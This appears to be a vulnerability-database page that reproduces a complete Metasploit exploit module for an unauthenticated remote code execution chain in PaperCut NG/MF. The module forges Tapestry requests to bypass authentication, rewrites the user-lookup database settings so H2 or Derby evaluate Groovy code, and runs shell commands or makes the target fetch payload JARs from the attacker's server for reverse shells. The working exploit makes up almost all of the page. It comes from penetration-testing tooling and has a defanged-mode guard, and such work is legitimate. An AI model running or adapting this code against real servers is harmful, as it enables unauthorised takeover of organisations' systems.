PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Exploit for CVE-2026-81578 | 29 Aug 202613:12 | – | githubexploit | |
| Exploit for CVE-2026-81578 | 29 Aug 202615:08 | – | githubexploit | |
| CVE-2026-81578 | 28 Aug 202613:05 | – | circl | |
| CVE-2026-82078 | 28 Aug 202613:05 | – | circl | |
| PaperCut NG/MF Missing Authentication for Critical Function Vulnerability | 31 Aug 202600:00 | – | cisa_kev | |
| PaperCut NG/MF Unsafe Reflection Vulnerability | 31 Aug 202600:00 | – | cisa_kev | |
| CVE-2026-81578 | 28 Aug 202611:39 | – | cve | |
| CVE-2026-82078 | 28 Aug 202611:45 | – | cve | |
| CVE-2026-81578 PaperCut MF/NG: Authentication Bypass | 28 Aug 202611:39 | – | cvelist | |
| CVE-2026-82078 PaperCut MF/NG: Unsafe Dynamic Class Loading in Database Connector | 28 Aug 202611:45 | – | cvelist |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)',
'Description' => %q{
This module exploits an authentication bypass in PaperCut NG and MF. A crafted Apache Tapestry
complex-direct request invokes privileged ConfigEditor components through the public Home
page. On version 26, the module reconfigures external user lookup to use an H2 JDBC URL whose
initialization SQL evaluates Groovy code. On versions 24 and 25, it uses a bundled Derby
procedure to write a temporary Groovy bootstrap class to the application classpath, then loads
it as a database driver. The Java target serves an executable payload JAR and a generic
memory-backed JAR loader over HTTP. Its payload classes and resources remain in memory; however,
versions 24 and 25 still require the temporary Derby bootstrap class. The command targets execute
a Windows or Linux command payload directly.
This module was successfully tested against:
* PaperCut MF 26.0.4 (Build 76494) <-- emergency patch v1
* PaperCut NG 26.0.4 (Build 76495) <-- emergency patch v1
* PaperCut NG 26.0.3 (Build 76225)
* PaperCut NG 25.0.11 (Build 75758)
* PaperCut NG 24.1.9 (Build 73376)
},
'License' => MSF_LICENSE,
'Author' => ['sfewer-r7'],
'References' => [
['CVE', '2026-81578'], # The authentication bypass
['CVE', '2026-82078'], # The RCE through external user lookup
['URL', 'https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild/'],
['URL', 'https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/']
],
'DisclosureDate' => '2026-08-27',
'Privileged' => false, # Defaults to the high-priv 'SYSTEM' user on Windows but a low-priv user 'papercut' on Linux.
# As we include HttpServer, we explicitly declare an Aggressive stance here because HttpServer would otherwise make this passive.
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
# Tested with:
# * java/meterpreter_reverse_tcp
# * java/meterpreter/reverse_tcp
# * java/shell_reverse_tcp
'Java',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[
# Tested with:
# * cmd/windows/http/x64/meterpreter_reverse_tcp
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "\x00"
}
}
],
[
# Tested with:
# * cmd/linux/http/x64/meterpreter_reverse_tcp
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "\x00"
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
# The remote target PaperCut service port number.
'RPORT' => 9191,
# The remote target PaperCut service is HTTP by default, but can be HTTPS.
'SSL' => false,
# The Metasploit HTTP service for serving out Java JAR payloads, must be HTTP by default
# as the remote JVM will likely not trust a self-signed certificate.
'SRVSSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the PaperCut application', '/app'])
])
register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true])
])
end
def check
papercut = papercut_info
case papercut[:status]
when :unreachable
return CheckCode::Unknown(papercut[:message])
when :not_found
return CheckCode::Safe(papercut[:message])
when :version_unknown
return CheckCode::Detected(papercut[:message])
end
version_string = "PaperCut #{papercut[:product]} #{papercut[:version]}."
# Product versions 23.x and below are not supported by the vendor. They may be vulnerable/exploitable, but this has not been confirmed.
return CheckCode::Detected(version_string) if papercut[:major] <= 23
# Future product version, e.g. 27.x will not be vulnerable.
return CheckCode::Safe(version_string) if papercut[:major] > 26
fixed_versions = {
'MF' => {
24 => Rex::Version.new('24.1.9.76515'),
25 => Rex::Version.new('25.0.12.76509'),
26 => Rex::Version.new('26.0.4.76507')
},
'NG' => {
24 => Rex::Version.new('24.1.9.76516'),
25 => Rex::Version.new('25.0.12.76510'),
26 => Rex::Version.new('26.0.4.76508')
}
}
fixed_version = fixed_versions.dig(papercut[:product], papercut[:major])
return CheckCode::Detected(version_string) unless fixed_version
return CheckCode::Appears(version_string) if papercut[:version] < fixed_version
CheckCode::Safe(version_string)
end
def exploit
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute the exploit against the target system?
Running this exploit will change the PaperCut user-lookup configuration
on the target system. The changes will be restored to default values, but
these default values may not match the original configuration (if they were
non-default).
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
papercut = papercut_info
case papercut[:status]
when :unreachable
fail_with(Failure::Unreachable, papercut[:message])
when :not_found, :version_unknown
fail_with(Failure::UnexpectedReply, papercut[:message])
end
# The forged listener renders Home, so initialize that stateful Tapestry page in the session before submitting
# ConfigEditor forms. The Error page used by check does not initialize Home's page state.
home = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'The target did not return the PaperCut Home page') unless home_response?(home)
# The Java target retrieves an executable payload JAR and its generic memory loader. Command targets instead
# embed an OS command in the request and therefore do not need the Java HTTP service.
groovy_source = if target['Platform'] == 'java'
payload_service = start_java_payload_service
groovy_class_loader_source(
payload_service[:jar_uri],
payload_service[:loader_uri],
payload_service[:loader_class],
payload_service[:main_class]
)
else
groovy_command_source(payload.encoded, target['Platform'] == 'win')
end
# A class name is only populated for the two-stage Derby strategy and later signals that the class must be loaded.
bootstrap_class_name = nil
# H2 only needs a non-existent card number to reach the configured database. Derby replaces this with a query that
# returns the bootstrap class bytes for its export procedure.
lookup_value = rand_text_alphanumeric(16)
if papercut[:major] >= 26
print_status("PaperCut #{papercut[:version]} detected; using H2 to execute Groovy bootstrap")
# PaperCut 26 bundles H2. Its INIT SQL executes while the connection opens, before PaperCut prepares and runs
# the configured lookup query. The query itself is benign and retains PaperCut's required placeholder.
# Selecting H2 makes PaperCut load the bundled driver when external lookup opens its database connection.
driver = 'org.h2.Driver'
# A random in-memory database avoids persistent database files. H2 evaluates INIT as it opens the connection,
# exposing Groovy as an SQL function and passing it the generated command or Java-payload bootstrap.
url = "jdbc:h2:mem:#{rand_text_alpha_lower(8)};INIT=#{h2_escape(h2_statement(groovy_source))}"
if url.length > 1024
fail_with(Failure::BadConfig, "The generated H2 JDBC URL exceeds PaperCut's 1,024-character configuration limit")
end
# PaperCut requires the lookup SQL to contain {cardnumber}. This harmless query returns the supplied random value;
# payload execution has already occurred while H2 processed INIT.
sql = 'VALUES CAST({cardnumber} AS VARCHAR(32672))'
else
print_status("PaperCut #{papercut[:version]} detected; using Derby to drop and load a Java class and execute Groovy bootstrap")
# PaperCut 24 and 25 do not bundle H2, but do bundle Derby. Its export procedure writes the BLOB returned by
# the attacker-controlled query to a classpath directory. Selecting that class as the driver then initializes it.
# Vary both the content and length of the class name used for the temporary bootstrap artifact.
bootstrap_class_name = rand_text_alpha(8..16)
# Derby requires a companion CSV for the export; its contents are not otherwise used by the exploit.
csv_path = "tmp/#{rand_text_alpha_lower(8)}.csv"
# Derby writes the exported BLOB here, placing the bootstrap class in a PaperCut classpath directory.
class_path = "lib/#{bootstrap_class_name}.class"
# Ensure the temporary .csv and .class artifacts are deleted even if the Groovy bootstrap raises an exception.
groovy_source = <<~GROOVY
try {
#{groovy_source}
} finally {
new java.io.File("#{class_path}").delete()
new java.io.File("#{csv_path}").delete()
}
GROOVY
# Selecting the bundled Derby driver lets the first lookup call Derby's built-in export procedure.
driver = 'org.apache.derby.jdbc.EmbeddedDriver'
# Use a fresh in-memory Derby database so the procedure is available without creating a persistent database.
url = "jdbc:derby:memory:#{rand_text_alpha_lower(8)};create=true"
# PaperCut replaces {cardnumber} with a bound parameter. Derby interprets that parameter as the query whose BLOB
# result is written to class_path, while csv_path receives the companion export data.
sql = "CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber}, '#{csv_path}', NULL, NULL, NULL, '#{class_path}')"
# This nested Derby query returns the patched class bytes as a BLOB. X'...' is a hexadecimal binary literal;
# PaperCut binds the complete query string above as the export procedure's first argument.
lookup_value = "VALUES CAST(X'#{derby_bootstrap_class(bootstrap_class_name, groovy_source).unpack1('H*')}' AS BLOB)"
end
# These are the only four settings needed by either database strategy. This is CVE-2026-82078.
exploit_config = {
'user-lookup.db-driver' => driver,
'user-lookup.db-url' => url,
'user-lookup.id-to-username-sql' => sql,
'user-lookup.enabled' => 'Y'
}
begin
print_status('Setting config...')
exploit_config.each do |name, value|
vprint_status("Setting #{name} - #{value}")
fail_with(Failure::UnexpectedReply, "Failed to update #{name}") unless update_config_option(name, value)
end
print_status('Triggering the external user lookup')
res = trigger_external_lookup(lookup_value)
print_warning('The lookup request did not return a Home response; the payload may still have executed') unless home_response?(res)
if bootstrap_class_name
# Stop calling the export procedure before loading the new class. DatabaseUtils invokes Class.forName on the
# configured driver before opening the connection, which executes the bootstrap's static initializer.
fail_with(Failure::UnexpectedReply, 'Failed to reset the lookup query') unless update_config_option(
'user-lookup.id-to-username-sql',
'VALUES CAST({cardnumber} AS VARCHAR(32672))'
)
fail_with(Failure::UnexpectedReply, 'Failed to select the bootstrap class') unless update_config_option(
'user-lookup.db-driver',
bootstrap_class_name
)
# A second lookup makes DatabaseUtils load the newly selected driver class. Class.forName executes its static
# initializer, which evaluates the Groovy payload; this value is only an arbitrary card number for the lookup.
trigger_external_lookup(rand_text_alphanumeric(16))
end
ensure
# The bypass can submit ConfigEditor forms but cannot render that protected page to read the prior values. Restore
# PaperCut's factory defaults, disabling lookup first to minimize the time any partial configuration remains live.
factory_config = {
'user-lookup.enabled' => 'N',
'user-lookup.id-to-username-sql' => 'select user_name from users_table where card_number = {cardnumber}',
'user-lookup.db-url' => '',
'user-lookup.db-driver' => ''
}
print_status('Resetting config...')
factory_config.each do |name, value|
vprint_status("Resetting #{name} - #{value}")
next if update_config_option(name, value)
print_warning("Failed to update #{name}")
end
end
end
private
def papercut_info
return @papercut_info if @papercut_info
# PaperCut's public Error page includes the complete product version. This keeps discovery read-only and on the
# same service as the vulnerable complex-direct endpoint.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'service' => 'page/Error'
}
)
return { status: :unreachable, message: 'The target did not respond.' } unless res
return { status: :not_found, message: 'The target did not return the expected page.' } unless res.code == 200 && res.body.include?('<!-- Page: Error -->')
# PaperCut appends the optional semantic-version suffix from version.suffix to the release, for example
# "26.0.4-PO-4560" or "26.0.4-rc.1". Accept that suffix but compare only release and build numbers.
match = res.body.match(/PaperCut (?<product>NG|MF)\s+(?<release>\d+\.\d+\.\d+)(?:-[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?\s+\(Build\s+(?<build>\d+)\)/)
return { status: :version_unknown, message: 'PaperCut was detected, but its version could not be determined.' } unless match
@papercut_info = {
status: :success,
product: match[:product],
version: Rex::Version.new("#{match[:release]}.#{match[:build]}"),
major: match[:release].to_i
}
end
def complex_direct_request(component_page, component_path, vars_post = nil, method: 'POST')
# Tapestry 3 encodes this as direct/stateful/render-page/component-page/component-path. Home is deliberately the
# public render page, while component_page names the protected page whose listener is invoked. PaperCut's flawed
# authentication checks the former but not the latter.
#
# Only the literal stateful value "1" enables Tapestry's stale-session guard; any other value is accepted as off.
# The session cookie is still retained because PaperCut's form rewind state spans these requests.
opts = {
'method' => method,
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
# POST requests impersonate forms submitted by PaperCut itself and must pass its same-origin request checks.
'headers' => {
'Origin' => full_uri(''),
'Referer' => full_uri(target_uri.path)
},
'vars_get' => {
# This is CVE-2026-81578.
'service' => "direct/#{rand_text_alpha_lower(8)}/Home/#{component_page}/#{component_path}"
}
}
opts['vars_post'] = vars_post if vars_post
send_request_cgi(opts)
end
def home_response?(res)
# Successful forged listeners finish by rendering the selected public carrier
# page (Which for the auth bypass is hardcoded to be Home in complex_direct_request).
res&.code == 200 && res.body.include?('<!-- Page: Home -->')
end
def update_config_option(name, value)
# ConfigEditor is a stateful two-step UI: quickFindForm selects the named property and records the filtered table
# in the session, then $Form submits the edit. sp and FormN identify the Tapestry page-state/form rewind sequence.
return false unless home_response?(complex_direct_request(
'ConfigEditor',
'quickFindForm',
{
'sp' => 'S0',
'Form0' => '$TextField,doQuickFind,clear',
'$TextField' => name,
'doQuickFind' => 'Go'
}
))
# Searching for the SQL property also returns its adjacent .user-mapping property. Tapestry therefore expects the
# component fields for both table rows during form rewind, even though only the first value is updated.
fields = if name == 'user-lookup.id-to-username-sql'
{
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0',
'$TextField$0' => value,
'$TextField$0$0' => 'USERNAME',
'$Submit' => 'Update'
}
else
{
'sp' => 'S1',
'Form1' => '$TextField$0,$Submit,$Submit$0',
'$TextField$0' => value,
'$Submit' => 'Update'
}
end
home_response?(complex_direct_request('ConfigEditor', '$Form', fields))
end
def trigger_external_lookup(card_number)
# User List Quick Find falls back to treating an unmatched search as a card ID, opening the configured external
# database connection. For H2 the marker is inert data; for Derby it is the query exported into the class file.
complex_direct_request(
'UserList',
'$QuickFind.$Form',
{
'sp' => 'S0',
'Form0' => '$TextField,$Submit,$Submit$0',
'$TextField' => card_number,
'$Submit' => 'Go'
}
)
end
def derby_bootstrap_class(class_name, source)
# This Java 8 class has only a static initializer, which decodes and evaluates the supplied Groovy source. Patching
# its two constant-pool strings avoids requiring javac on the Metasploit host and keeps the class name randomized.
klass = ::File.binread(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-82078', 'Metasploit.class')
)
encoded_source = Rex::Text.encode_base64(source)
fail_with(Failure::BadConfig, 'The generated Groovy bootstrap is too large') if encoded_source.length > 0xffff
class_replaced = klass.sub!("\x00\x0aMetasploit", "#{[class_name.bytesize].pack('n')}#{class_name}")
source_replaced = klass.sub!("\x00\x07PAYLOAD", "#{[encoded_source.length].pack('n')}#{encoded_source}")
fail_with(Failure::BadConfig, 'The Derby bootstrap class is missing its patch placeholders') unless class_replaced && source_replaced
klass
end
def groovy_class_loader_source(payload_uri, class_loader_uri, class_loader_class, payload_class)
identifiers = Rex::RandomIdentifier::Generator.new(language: :java)
result = rand_text_alpha_lower(8)
# Despite its historical Meterpreter package name, Metasploit's JarFileClassLoader is a generic memory-backed JAR
# loader. URLClassLoader fetches that helper as one raw class from a directory URL, so Java never opens it as a remote
# JAR. It then expands the separately downloaded payload JAR into byte arrays and defines its classes and
# resources directly from memory. Run main on a daemon thread so an interactive payload cannot block the H2 lookup and
# its enclosing Tapestry request. The thread retains the memory loader as its context class loader so payload classes
# and resources that are resolved lazily remain available. Giving it PaperCut's application loader as its parent also
# prevents an HTTP lookup for every payload class. Keep this stub compact because PaperCut truncates the
# user-lookup.db-url setting at 1,024 characters.
# Eval.me (see h2_statement) returns the final random string (result) to H2's CALL instead of making H2 convert a
# Thread or reflection object.
<<~GROOVY
def #{identifiers[:bootstrap_loader]} = new URLClassLoader([new URL("#{class_loader_uri}")] as URL[])
def #{identifiers[:loader_class]} = #{identifiers[:bootstrap_loader]}.loadClass("#{class_loader_class}")
def #{identifiers[:loader]} = #{identifiers[:loader_class]}.getConstructor(ClassLoader).newInstance(#{identifiers[:bootstrap_loader]}.parent)
#{identifiers[:loader]}.addJarFile(new URL("#{payload_uri}").bytes)
def #{identifiers[:payload]} = #{identifiers[:loader]}.loadClass("#{payload_class}")
Thread.startDaemon {
Thread.currentThread().setContextClassLoader(#{identifiers[:loader]})
#{identifiers[:payload]}.main(new String[0])
}
"#{result}"
GROOVY
end
def groovy_command_source(command, is_windows)
identifiers = Rex::RandomIdentifier::Generator.new(language: :java)
# Base64 keeps payload quotes and shell metacharacters out of the nested HTTP form, JDBC URL, SQL, and Groovy
# quoting layers. The decoded command is passed as one argument to the platform shell.
encoded_command = Rex::Text.encode_base64(command)
# /d disables cmd.exe AutoRun commands and /s gives consistent /c quote handling. Linux uses the stock POSIX shell.
command_array = is_windows ? "[\"cmd.exe\",\"/d\",\"/s\",\"/c\",#{identifiers[:command]}]" : "[\"/bin/sh\",\"-c\",#{identifiers[:command]}]"
result = rand_text_alpha_lower(8)
# ProcessBuilder.start returns a Process, which H2 cannot reliably convert into an SQL value. Make the final
# expression a simple random string after the process has started.
<<~GROOVY
def #{identifiers[:command]} = new String(
java.util.Base64.getDecoder().decode("#{encoded_command}"),
java.nio.charset.StandardCharsets.UTF_8
)
new ProcessBuilder(#{command_array} as String[]).start()
"#{result}"
GROOVY
end
def h2_statement(source)
# CREATE ALIAS exposes PaperCut's bundled Groovy evaluator as an H2 routine; CALL evaluates the generated source.
"CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('#{source}')"
end
def h2_escape(statement)
# H2 uses unescaped semicolons to separate JDBC URL properties. Escape backslashes first, then semicolons, so the
# entire compound CREATE ALIAS/CALL statement reaches the INIT property.
statement.gsub('\\') { '\\\\' }.gsub(';') { '\\;' }
end
# For ARCH_JAVA payloads, serve both the generated executable JAR and Metasploit's generic memory-backed JAR loader.
# Java shell and staged payload generators can randomize their entry point, while the stageless Meterpreter generator
# currently retains its fixed StagelessMain class. The JAR manifest is therefore the authoritative entry point.
def start_java_payload_service
if http_server_ssl
print_warning(
'SRVSSL is enabled. The target JVM must trust SSLCert and the advertised URI host must match the certificate; ' \
"Metasploit's default self-signed certificate will normally be rejected."
)
end
# Request framework-supported class-name randomization where the selected Java payload implements it. Read the entry
# point from the resulting manifest so both randomized and fixed Main-Class implementations are handled consistently.
payload_jar = payload.encoded_jar(random: true)
payload_class = payload_jar.manifest.to_s[/^Main-Class:\s+([^\r\n]+)/, 1]
fail_with(Failure::BadConfig, 'The generated Java payload JAR has no Main-Class entry') unless payload_class
@java_payload_jar = payload_jar.pack
@java_payload_jar_name = "#{rand_text_alpha_lower(8)}.jar"
# Serve Metasploit's memory-backed JAR loader as a raw class. Its canonical HTTP path must match the package name
# embedded in the class so URLClassLoader can resolve it relative to the service URI.
class_loader_class = 'com.metasploit.meterpreter.JarFileClassLoader'
@java_payload_class_loader_path = 'com/metasploit/meterpreter/JarFileClassLoader.class'
@java_payload_class_loader = MetasploitPayloads.read('java', 'com', 'metasploit', 'meterpreter', 'JarFileClassLoader.class')
start_service(
'Uri' => {
'Path' => "/#{rand_text_alpha_lower(8)}/",
'Proc' => proc { |cli, request| java_payload_request(cli, request) },
'VirtualDirectory' => true
}
)
{
jar_uri: "#{get_uri}#{@java_payload_jar_name}",
loader_uri: get_uri,
loader_class: class_loader_class,
main_class: payload_class
}
end
def java_payload_request(cli, request)
vprint_status("#{request.method} #{request.uri} requested")
return send_not_found(cli) unless %w[HEAD GET].include?(request.method)
resource = request.relative_resource.to_s.delete_prefix('/')
body, content_type = case resource
when @java_payload_jar_name
[@java_payload_jar, 'application/java-archive']
when @java_payload_class_loader_path
[@java_payload_class_loader, 'application/octet-stream']
else
return send_not_found(cli)
end
send_response(
cli,
request.method == 'HEAD' ? '' : body,
'Content-Type' => content_type
)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Aug 2026 00:00Current
CVSS 3.19.8
CVSS 49.4
EPSS0.00926
SSVC